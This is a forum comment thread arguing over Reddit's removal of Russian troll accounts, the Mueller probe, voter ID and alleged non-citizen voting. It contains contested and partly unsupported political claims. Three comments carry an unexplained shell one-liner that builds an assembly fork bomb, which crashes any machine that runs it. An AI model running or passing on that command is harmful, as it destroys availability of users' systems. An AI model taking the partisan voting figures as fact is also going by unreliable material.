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Reddit Admits Russian Trolls Got Into Website During 2016 Election (vice.com)
An anonymous reader quotes a report from VICE News: Reddit says it has identified and removed hundreds of Russian propaganda accounts, a few days after reports revealed that Russian trolls were active on the platform during the 2016 U.S. presidential election. In a post Monday, Reddit co-founder Steve Huffman said his site operators had been investigating for awhile and had found a few hundred accounts suspected to be of Russian origin or linked to known sources of Russian propaganda. "Of course, every account we find expands our search a little more," he said, also claiming the "vast majority" of the suspicious accounts were banned back in 2015-2016. An even bigger challenge was the problem of "indirect propaganda," where content produced by accounts now known to be Russian trolls was enthusiastically shared by Trump supporters on subreddits such as r/The_Donald. Reddit's investigation followed a report from The Daily Beast, based on leaked internal data from Kremlin-backed troll farm the Internet Research Agency, that confirmed Russian trolls were active on the site, as well as Tumblr, in their mission to spread disinformation, divide Americans and disrupt U.S. politics. The Washington Post reports that congressional investigators looking into the Russian issue intend to question Reddit and Tumblr over their involvement.
I agree with you BTW. Let's not forget that America's CIA has been doing the same thing via different channels for decades. They are perhaps still doing this to this day.
Where's the media outrage? There is an article here affirming trolling by the USA.
USA complains because they can now be beaten [on the cheap] at their own game.
Damn, son, that kool aid taste good?
Denial is not a river in egypt. Trump is sketchy. Facts.
I was a lifelong straight ticket Democrat voter until 2016.
The Russians didn't make me vote for Trump.
Hillary Clinton, CNN, Jimmy Kimmel, HuffPo, WaPo, MSNBC, Madonna, etc, etc, etc made me vote for Trump.
They were so god damn smug, condescending, elitist, insulting, divisive, and arrogant... It made Trump's personality flaws look endearing in comparison, and voting for him was my big "fuck you".
No. The Russians didn't divide us. The Democrats and their media stooge propagandists did. Fuck them all to hell. I will never vote Democrat ever again, even though I disagree profoundly with the Republicans on most issues.
> On the first topic, ads, there is not much to share. We don’t see a lot of ads from Russia, either before or after the 2016 election, and what we do see are mostly ads promoting spam and ICOs. Presently, ads from Russia are blocked entirely, and all ads on Reddit are reviewed by humans. Moreover, our ad policies prohibit content that depicts intolerant or overly contentious political or cultural views.
> As for direct propaganda, that is, content from accounts we suspect are of Russian origin or content linking directly to known propaganda domains, we are doing our best to identify and remove it. We have found and removed a few hundred accounts, and of course, every account we find expands our search a little more. The vast majority of suspicious accounts we have found in the past months were banned back in 2015–2016 through our enhanced efforts to prevent abuse of the site generally.
That does not sound as sinister as what is being reported here this morning.
Yes, that would work really well on an international web site...
Emboldened Russians will meddle even more in the next election.
Low turn out in the off year primaries in just a few states decides the fate of the whole nation.
Combine the Democratic and the Republican primaries and let the top two go for general election. In most red states two Republicans will run for the same seat. Though Democrats will suffer in the short term, there is some chance sanity will return and Republicans will stop fearing being primaried from the right.
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
Data disagrees with your assessment. For example, according to this poll http://cdn.cnn.com/cnn/2018/images/02/26/rel3c.-.russia.pdf approximately 58% of Americans don't think that the administration is taking Russian interference seriously enough. And a large fraction of Americans support the Mueller investigation to completion although curiously about 40% of Americans don't even know who he is https://www.pbs.org/newshour/politics/poll-most-americans-want-robert-mueller-to-complete-his-russia-probe. It is a mistake to think that because you and the people around you think something that that view must be universal.
The investigation will disappear in a puff of greasy smoke.
Eventually. After the pundits find something else interesting to hype.
Trump continues trolling dems very successfully by trash-tweating them into distracting pointless investigations.
Completely invisible to public is a spectacular economy jumpstart in 2017 fueled solely by a Republican winning the WH and even more in 2018 (never mind market corrections, they happen all the time). Trump could go out as the worst president in history or he could go out as OK president.
I do not believe in karma. "Funny"=-6. Do good and forbid evil. Yours, Oft-Offtopic Flamebaiting Troll.
"because he has objectively been one of the best presidents in history and you can't talk about his actual job performance"
Ahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha
What other nationalities would you like to exclude from discussion forums? Latvians? Spaniards? The British?
Should we establish an Americans Only Internet? Should we exclude any other classes of people? The handicapped can't participate in forums concerning wine and cigars? Women can't participate in forums about sports cars?
We the public choose to not allow the entire political agenda to be steered by the shrieking minority who lost the election.
Nobody cares about Hillary Clinton's underwear (esp. Bill, btw). We do care about rampant corruption. Which is being ignored during all this deflection about 'Russian collusion'. Also, because it doesn't matter, the foul Clinton Machine was defeated.
Ah yes, the one thing that is a pretty sure bet whenever Russia comes up in the news in a none positive way is whataboutism.
Reddit is predominantly white and male. Trump's supporters are predominantly white and male. It stands to reason they would be highly active on reddit as they are on other forums like 4chan, and so on. Yet if you listen to Steve Huffman he seems to act like they are a minority on the site and any activity must be Russian Trolls. It just doesn't seem likely.
These CEOs want us to believe they have these brilliant investigative skills into this mythical army of russian trolls, yet they can't cover their own traces when they manipulate votes, edit people's posts or alter algorithms to favor political forums they agree with.
We the public, hear the words.... Trump, Russia, Mueller.... We stop listening. Nobody cares. Move on... Seriously.
Wouldn't that be nice? Looks like you identified a new attack vector. Enough news about it and you will say I'm bored, so do what ever you want.
Your post has indicted that you are completely manipulable. I kinda hope you are at least a Russian troll, and not an American who will just accept anything because you are tired hearing about it.
Or perhaps just a Trumpster.
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
Where is the "whataboutism"? This isn't "whataboutism", but a "pot, meet kettle" situation. You want the world to care about election meddling that allegedly happened in your country? Well, show us how you're different, uncover, stop and apologize for your own meddling and then we'll consider. Unless you do that, just shut up, you whiny bunch of hypocrites.
Foreigners interfering in elections isn't an 'act of war' though, otherwise Mexico would have declared war on the US each time a Mexican citizen illegally voted in a US election.
The individual foreigner voting is breaking US law, but the country they come from isn't declaring war on the US.
And before you say 'Non citizens voting doesn't happen, you racist!' yeah, it does
https://empowertexans.com/arou...
While the National Voter Registration Act (NVRA) requires local election officials to maintain accurate voter rolls, it also made it easier for non-citizens to get on the rolls by mandating that states offer voter registration by mail and at driver's license offices. Registering to vote is now an honor system, with no documentation required and no one verifying citizenship -- applicants merely check a box affirming they're U.S. citizens.
Birdwell asked Ingram what mechanisms the Secretary of State or county voter registration officials have to ensure that non-citizens aren't registering to vote. "Only the jury summons," Ingram responded. State law requires jury clerks to report to elections officials all individuals who claim an exemption to jury duty because they are not citizens.
"The Secretary of State's office's only way to ensure non-citizens aren't voting is the random sampling of a jury duty summons?" Birdwell asked.
"That is correct," Ingram replied.
If a non-citizen never gets summoned to jury duty or doesn't respond to a summons, Birdwell asked, "you have no mechanism to correct that wrong?"
"That's right," Ingram confirmed.
"We have no active method [to ensure non-citizens aren't registering to vote]. We depend on the self-reporting of the individual," Birdwell concluded. "That is a significant problem."
Texas Scorecard reported on those findings last month. A brief survey of four Texas counties found that in just the past two years, 165 unlawfully registered non-citizens were removed from those counties' voter rolls -- but only after they self-identified as non-citizens in the process of recusing themselves from jury duty. Those non-citizens cast 100 illegal votes.
Worse, the AG's investigators found that "the process for removing ineligible voters who self-report as non-citizens at jury duty is not being followed correctly, or even at all, in various counties."
Curious is it not how when a few Russians spend a few hundred thousand dollars in an election where the total spending was $6.5 billion that means Russia committed an 'act of war' against the US and anyone who disagrees is a traitor. When only 834,000 non citizens vote in a US election, that's not enough to explain Hillary's popular vote lead so we should ignore it. And that demanding people provide proof of citizenship before they buy Facebook ads is something the US must do to protect the integrity of its elections but trying to prevent hundreds of thousands of non citizens voting is racist.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
far left leaning liberal progressive
I've followed The_Donald since early 2016 as a hostile observer and it is clear to me that they don't know what any of these words mean. Not in the political sense.
Almost the entire Democratic party is centrist. Google "new democrats". Bill Clinton set them on this path. The party has become both neoliberal (free-market capitalist) and neoconservative (American exceptionalism, interventionist foreign policy).
They are very much NOT leftist, NOT liberal, NOT progressive. Those words have all become meaningless, because people are still using them to describe the Democrats, when they are very much none of those things any more.
Thos are puoprposeful acts, and believe me brother I declare those acts of war.
Yeah but they're not. I realise that since you don't care about spelling and grammar you also probably don't care about legal niceties but everyone else does.
Awating your next howaboutism, tovarish.
It's whataboutism and tovarishch
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Bullshit. All the polls say that Hispanics are much more likely to vote Democrat than Republican. Which is why the Republicans want voter ID laws and Democrats say they're racist.
http://www.pewresearch.org/fac...
As Congress debates immigration reform, some political leaders and analysts have speculated that there will be "an electoral bonanza for Democrats" if the nation's estimated 11.1 million unauthorized immigrants -- three quarters of whom are Hispanics -- eventually are granted the right to vote.
While there's no way of knowing if these predictions are accurate, the data provide some insights. In 2012, the Pew Research Center's National Survey of Latinos found that among Latino immigrants who are not U.S. citizens or legal permanent residents (and therefore likely unauthorized immigrants), some 31% identify as Democrats and just 4% as Republicans. An additional 33% say they are political independents, 16% mention some other political party and 15% say they "don't know" or refuse to answer the question.
When one takes party "leaners" into account (i.e., those who don't say they identify with one of the major parties, but in a follow-up question say they feel closer to one party than the other), about half of unauthorized Hispanic immigrants either identify with (31%) or lean towards (23%) the Democratic Party, while about two-in-ten identify with (4%) or lean towards (15%) the Republican Party. About a quarter (27%) do not identify with or lean towards either party.
Comparing unauthorized immigrant Hispanics with other Hispanic subgroups suggests that as immigrants move closer towards citizenship, it is likely that a greater share of them will identify with one of the major political parties. Our survey found that most legal permanent residents (57%) and foreign-born U.S. citizens (65%) are affiliated with one of the major parties.
Our research has also found a correlation between the amount of time Hispanic immigrants (regardless of legal status) spend in the United States and the share that identifies with a political party. While nearly two-thirds (63%) of Hispanic immigrants who have been in the U.S. at least 15 years identify with one of the two major parties, that share falls to 38% among those who have been in the U.S. for fewer than 15 years.
The predictions about how unauthorized immigrants will vote stem from the fact that among all Latino immigrants who are eligible to vote (i.e. are U.S. citizens) many more identify as Democrats than as Republicans -- 54% versus 11%. And in the 2012 presidential election, according to the National Election Pool, Latino voters favored Democrat Barack Obama over Republican Mitt Romney by 71%-27%. While Democratic candidates have garnered a greater share of the Hispanic vote than Republican candidates in every election over the past three decades, the gap has been narrower in some elections than others. For example, in the 2004 election the gap among Hispanic votes between John Kerry and George W. Bush was only 18 percentage points (58% vs. 40%), compared with the 44 percentage point gap in the 2012 election.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Did you know there are quite a lot of Russian illegal immigrants in Texas? I'm serious. If you go to most construction sites in Houston, Dallas, Ft Worth, you will meet some of them.
How do you know the "100" illegal votes that were supposedly cast by immigrants according to your fake article weren't all cast by Russian immigrants voting Republican? You don't, and you know why? Because the State of Texas didn't prosecute those 100 for voting illegally. And by the way, did I mention that the "empowered texas" site is fake news?
The only person prosecuted in the recent past for voting illegally in Texas was a green card holder who supported Republicans and voted for Trump.
http://www.star-telegram.com/n...
You are welcome on my lawn.
Except there was no research involved. Nothing but a set of assumptions made by a person and then conclusions made based upon those assumptions with absolutely no data involved. Read your article again, Hal.
Even President Trump's much-vaunted super-special commission on illegal voting in the 2016 election which was headed by Kris Kobach was abruptly disbanded in shame when they found zero evidence that there had been any illegal voting.
https://www.nytimes.com/2018/0...
You are welcome on my lawn.
The AC does have a point though. Voter ID laws on the face of it are a good idea. The problem is that it is easy to manipulate the ID requirements to disenfranchise chunks of the population.
Here in Canada, we've had voter ID laws for a long time. Generally they worked well until the last Federal election where the Conservatives were in power and getting coaching from the American Republican party on how to do it right.
Used to be that most ID was good enough, perhaps combined with some bills with your address and name on it and the ability to do an affidavit when the ID wasn't good enough. Last election, they limited the type of ID required and did a few other weird things. For example, my wife has always voted under her maiden name, partially due to her ID being in that name, and that is how she was registered. Went to the elections web site and double checked our registration, everything was fine, even the day before the election. Went to vote and mysteriously her registration had changed to my name. As this was expected due to her race, we showed up with marriage license, lots of ID and time. After a couple of hours on the phone to Ottawa, she did manage to vote. Meanwhile, I had no problem voting even though my ID just proved my residency, not my citizenship, unlike hers which was only available to citizens.
Voter ID laws are just easy to manipulate. Make it hard and ideally expensive to get ID (need to drive 40 miles here to pay $75 for ID), be really anal about the ID and disenfranchise people, especially the poor, university students who are resident somewhere but don't bother updating their ID, demand actual street addresses to remove those living in places without addresses such as Indian reservations and such and you limit voting to the correct people, including wealthier non-citizens.
https://en.wikipedia.org/wiki/Inverted_totalitarianism
FTFY. The notion that a few trolls swung an election with a few thousand dollars in ads, many of which were placed after the election and nothing to do with politics, in a race where one candidate spent over a billion dollars just proves the capacity of human beings to engage in willful dumbfuckery.
No collusion, no Russiagate. It doesn't matter if Putin himself came over and hacked voting machines to deny Hillary the vote, if there is no collusion with Trump then Mueller has no basis for his witch hunt.
Ah yes, the one thing that is a pretty sure bet whenever Russia comes up in the news in a none positive way is whataboutism.
It is not just about whataboutism. It is also about setting a precedent for censorship and thought control. We have gone from "Congress shall make no law ..." to "Censorship is okay if the speaker is Russian". The next step is a prohibition on speech by other "bad people". Anyone who stands up to defend the scoundrels is obviously one of them.
Even the author of your research says that Judicial Watch's interpretation (and math) are wrong.
https://www.wired.com/2017/01/...
Also, remember this entire research is based on an opt-in online survey. In other words, as evidence of voter fraud, it's pretty much horseshit.
You are welcome on my lawn.
What you provided was propaganda about Russian propaganda:
1) Russia had an existing base in Crimea. If moving troops through that base is an "invasion", then the United States invades the fuck out of Germany many times each year in its 20+ military bases in that country.
2) The US overthrew the elected government of Ukraine. Anyone who leaves that fact out of the discussion is a sophist of the highest order, spitting out propaganda.
3) After overthrowing the Ukrainian government, the U.S. started moving to give the junta weapons and eventually join NATO. If the USSR had overthrown Canada and brought it into the Warsaw Pact, it's not as if the US would sit around with its thumb up its ass.
Card skimming and pestering people to buy flowers when they're trying to have a quiet drink.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
"Defeated ISIS"
Utter lie. He didn't make significant changes to Obama's ISIS strategy, and most of the fighting was done by other countries.
"brought massive tax reform"
An idiotic, poorly-thought out plan that he had zero knowledge about that was created by lobbyists and Republicans, and that will explode the deficit while offering no real help to most of the country.
"massive cuts to regulations"
You're a rube who has been tricked by greedy businesses into thinking regulations are this massive drain on the economy, while even the Trump Administration released a report stating that regulations provide economic benefits, not losses, to the economy.
"and now is on the verge of a permanent solution to the North Korean issue"
He's a profoundly stupid man in over his head.
"White liberals have completely destroyed their credibility and it will be 100 years before they rise to power again"
You got it the opposite, chief. So incompetent, stupid, and petty is Trump that he is ruining the conservative brand. Conservatives are already losing elections in deep red areas where they've held power for decades. The average conservative voter is far older than the average liberal, and even a lot of Republican strategists are terrified of the demographic change the country is going through.
"Maybe we can actually elevate ourselves beyond the reach of their greedy, grasping tentacles before then."
Conservatives are the ones jamming everything they can into their swollen mouths while they launch spit-flecked tirades because they're terrified at how the world is changing. Right now the Republican base is uneducated old boomers, while everyone else turns in disgust from them. Trump is the most corrupt President we have had in over 100 years. He's literally using the presidency to enrich his businesses, puts his family on the payroll, tried to get his personal pilot appointed head of the FAA (go ahead, defend that).
Like the Russians don't already have that information.
SSN is not a private key!
Uh, no. The point - which was clear enough the first time - that's there's as much evidence t
That was the second post, ya numpty. Try reading the FIRST one I responded to. The one where you said:
The only criterion you gave was Trump's actions. Ergo, you consider the actions of the staffers unimportant. Don't try to fob me off with tangents, that is what you said: only Trump's actions matter.
Saying there's no evidence against staffers means you are admitting tacitly that their actions do matter, else why would evidence be relevant?
From rigging an election (Democratic primary)
Bernie lost fair and square. He's not a Democrat, he's an independent (always was) so it's not surprising that the Dem faithfuls voted for a long term Dem. Oh sorry I forgot you're a Trumpanzee conspiracy theorist. But that's a tautology, innit.
SJW n. One who posts facts.